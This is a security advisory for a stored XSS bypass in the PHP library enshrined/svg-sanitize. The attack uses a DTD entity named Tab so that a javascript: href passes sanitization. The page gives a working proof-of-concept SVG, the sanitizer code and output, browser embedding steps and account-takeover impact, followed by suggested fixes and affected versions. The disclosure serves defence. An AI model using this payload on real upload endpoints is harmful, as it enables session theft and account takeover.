enshrined/svg-sanitize: Stored XSS via DTD Entity / HTML5 Named Character Reference Collision
What fixes it
- 1.0.0enshrined/svg-sanitize, composerGitHub
composer require "enshrined/svg-sanitize:^1.0.0" - 1.0.0enshrined/svg-sanitize, PackagistOSV
composer require "enshrined/svg-sanitize:^1.0.0"
A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.
Description
Summary
A crafted SVG bypasses enshrined/svg-sanitize's href validation and delivers a javascript: URL through the sanitizer unchanged. The bypass exploits a semantic mismatch between XML entity resolution (used during sanitization) and HTML5 Named Character Reference resolution (used by the browser when the SVG is rendered inline).
This is a logic bug in svg-sanitize. It does NOT depend on any PHP ext/dom bug — it works on any PHP version.
Affected installations:
- enshrined/svg-sanitize: 45.2M Packagist downloads, 1.3M/month, 90+ dependents
- WordPress Safe SVG plugin: 1M+ active installs (inline SVG rendering via themes)
- TYPO3, Drupal and 90+ other Packagist dependents
Vulnerability Details
Mechanism
- Attacker defines a DTD entity whose name collides with an HTML5 Named Character Reference:
<!ENTITY Tab "#">
In XML, 	 expands to the literal string "#" (from the DTD definition). In HTML5, 	 is a Named Character Reference that resolves to U+0009 (TAB character).
- The SVG uses this entity in an href:
<a href="	javascript:alert(document.domain)">
- During sanitization (XML context):
	→"#"→ the sanitizer seeshref="#javascript:alert(document.domain)"→ starts with#→isHrefSafeValue()returns TRUE → passes through.
- Sanitizer output:
saveXML()outputs the entity reference	(not the expanded value), and strips the DOCTYPE declaration.
- In the browser (HTML5 context): Without the DOCTYPE,
	is resolved as the HTML5 Named Character Reference → U+0009 (TAB). The URL parser strips leading whitespace →javascript:alert(document.domain)executes.
Root Cause (Sanitizer.php)
// isHrefSafeValue() — evaluates EXPANDED value (after XML entity resolution)
protected function isHrefSafeValue($value) {
if ('#' === substr($value, 0, 1)) {
return true; // Fragment identifier — "safe"
}
// ...
}
// But saveXML() preserves the entity REFERENCE, not the expanded value
// And the DOCTYPE (which defines the entity) is stripped from output
// → semantic mismatch between validation and output contextsProof of Concept
Malicious SVG (xss.svg)
<!DOCTYPE svg [<!ENTITY Tab "#">]>
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 400 120">
<a href="	javascript:alert(document.domain)">
<rect width="400" height="120" fill="#c00" rx="12"/>
<text x="200" y="65" fill="white" font-size="20" text-anchor="middle">CLICK ME</text>
</a>
</svg>Sanitizer processing
<?php
require_once 'vendor/autoload.php';
$svg = file_get_contents('xss.svg');
$sanitizer = new \enshrined\svgSanitize\Sanitizer();
$clean = $sanitizer->sanitize($svg);
echo $clean;Output:
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 400 120">
<a href="	javascript:alert(document.domain)">
<rect width="400" height="120" fill="#c00" rx="12"/>
<text x="200" y="65" fill="white" font-size="20" text-anchor="middle">CLICK ME</text>
</a>
</svg>The javascript: href passes through the sanitizer. The DOCTYPE is stripped, but the 	 entity reference is preserved.
Browser exploitation
Embed the sanitized SVG inline in HTML:
<div class="svg-container">
<!-- sanitized SVG output inserted here -->
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 400 120">
<a href="	javascript:alert(document.domain)">
<rect width="400" height="120" fill="#c00" rx="12"/>
<text x="200" y="65" fill="white" font-size="20" text-anchor="middle">CLICK ME</text>
</a>
</svg>
</div>**Clicking the red rectangle executes alert(document.domain).**
Confirmed: Chrome 148. PoC file: XSS_CONFIRMED_POC.html
Exploitable Named Character References
Any HTML5 Named Character Reference that expands to a URL-parser-ignored character:
	→ U+0009 (Horizontal Tab)
→ U+000A (Line Feed)
These are stripped by the URL parser's scheme extraction, allowing javascript: to be the effective scheme.
Impact
Stored XSS
- Attacker uploads SVG as Author (WordPress) or via any svg-sanitize-protected upload endpoint
- SVG passes sanitization — sanitizer reports no issues
- When SVG is rendered inline in HTML page, clicking the link executes JavaScript in the page's origin
- Account takeover:
document.cookie,fetch('/wp-admin/...'), session hijacking
Context requirement
The sanitized SVG must be embedded inline in HTML (not as <img src="file.svg">). Common scenarios:
- WordPress themes that
echo file_get_contents($svg_path)for inline SVG rendering - WordPress block editor SVG preview
- Any web application rendering svg-sanitize output directly in HTML
Standalone <img src="...svg"> is NOT affected (browser uses XML parser, 	 without DOCTYPE = XML parse error).
CVSS
CVSS 3.1: 6.1 (Medium) — stored XSS, requires user click
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
With session stealing / admin takeover chain: effective severity High.
Suggested Fix
Option 1: Strip DOCTYPE before parsing (recommended)
$dirty = preg_replace('/<!DOCTYPE[^>]*(?:\[.*?\])?\s*>/si', '', $dirty);Eliminates entity definitions entirely. No DTD entities = no collision.
Option 2: Validate href after serialization
$clean = $this->xmlDocument->saveXML(...); // Post-serialization check: re-validate all href values in the OUTPUT // (catches entity references that bypass the XML-expanded check)
Option 3: Expand entities before validation
Validate getAttribute() return value AND the serialized form:
$href = $element->getAttribute($attrName); $serialized = $this->xmlDocument->saveXML($element); // Check both for javascript: scheme
Environment
- enshrined/svg-sanitize 0.22.x
- Chrome 148 (confirmed XSS execution)
- PHP 8.3.24 (any version — bug is in PHP sanitizer logic, not ext/dom)
Reported by ExPatch Security Research — expatch.llc Denis Rostilov
Text from GitHub Advisory Database
Affected versions 51
- enshrined/svg-sanitize, composer<= 0.22.0GitHub
- svg-sanitizeraffected: < 1.0.0CVE List
- enshrined/svg-sanitize, Packagistfrom first release, fixed in 1.0.0OSV
- enshrined/svg-sanitize, Packagist0.1.0OSV
- enshrined/svg-sanitize, Packagist0.1.1OSV
- enshrined/svg-sanitize, Packagist0.1.2OSV
- enshrined/svg-sanitize, Packagist0.1.3OSV
- enshrined/svg-sanitize, Packagist0.1.4OSV
- enshrined/svg-sanitize, Packagist0.1.5OSV
- enshrined/svg-sanitize, Packagist0.1.6OSV
- enshrined/svg-sanitize, Packagist0.10.0OSV
- enshrined/svg-sanitize, Packagist0.11.0OSV
- enshrined/svg-sanitize, Packagist0.12.0OSV
- enshrined/svg-sanitize, Packagist0.13.0OSV
- enshrined/svg-sanitize, Packagist0.13.1OSV
- enshrined/svg-sanitize, Packagist0.13.2OSV
- enshrined/svg-sanitize, Packagist0.13.3OSV
- enshrined/svg-sanitize, Packagist0.14.0OSV
- enshrined/svg-sanitize, Packagist0.14.1OSV
- enshrined/svg-sanitize, Packagist0.15.0OSV
- enshrined/svg-sanitize, Packagist0.15.1OSV
- enshrined/svg-sanitize, Packagist0.15.2OSV
- enshrined/svg-sanitize, Packagist0.15.3OSV
- enshrined/svg-sanitize, Packagist0.15.4OSV
- enshrined/svg-sanitize, Packagist0.16.0OSV
- enshrined/svg-sanitize, Packagist0.17.0OSV
- enshrined/svg-sanitize, Packagist0.18.0OSV
- enshrined/svg-sanitize, Packagist0.19.0OSV
- enshrined/svg-sanitize, Packagist0.2.0OSV
- enshrined/svg-sanitize, Packagist0.2.1OSV
- enshrined/svg-sanitize, Packagist0.20.0OSV
- enshrined/svg-sanitize, Packagist0.21.0OSV
- enshrined/svg-sanitize, Packagist0.22.0OSV
- enshrined/svg-sanitize, Packagist0.3.0OSV
- enshrined/svg-sanitize, Packagist0.4.0OSV
- enshrined/svg-sanitize, Packagist0.4.1OSV
- enshrined/svg-sanitize, Packagist0.5.0OSV
- enshrined/svg-sanitize, Packagist0.5.1OSV
- enshrined/svg-sanitize, Packagist0.5.2OSV
- enshrined/svg-sanitize, Packagist0.5.3OSV
- enshrined/svg-sanitize, Packagist0.5.3.1OSV
- enshrined/svg-sanitize, Packagist0.6.0OSV
- enshrined/svg-sanitize, Packagist0.7.0OSV
- enshrined/svg-sanitize, Packagist0.7.1OSV
- enshrined/svg-sanitize, Packagist0.7.2OSV
- enshrined/svg-sanitize, Packagist0.8.0OSV
- enshrined/svg-sanitize, Packagist0.8.1OSV
- enshrined/svg-sanitize, Packagist0.8.2OSV
- enshrined/svg-sanitize, Packagist0.9.0OSV
- enshrined/svg-sanitize, Packagist0.9.1OSV
- enshrined/svg-sanitize, Packagist0.9.2OSV
References 5
- github.com/darylldoyle/svg-sanitizer/commit/23877db7e76f1e1df5c3e65ab30239219c3d2867Fixvia CVE List
- github.com/darylldoyle/svg-sanitizer/releases/tag/1.0.0Fixvia CVE List
- github.com/darylldoyle/svg-sanitizer/security/advisories/GHSA-9rjx-3jch-6vjfAdvisoryvia CVE List
- github.com/advisories/GHSA-9rjx-3jch-6vjfAdvisoryvia GitHub
- nvd.nist.gov/vuln/detail/CVE-2026-107380Referencevia GitHub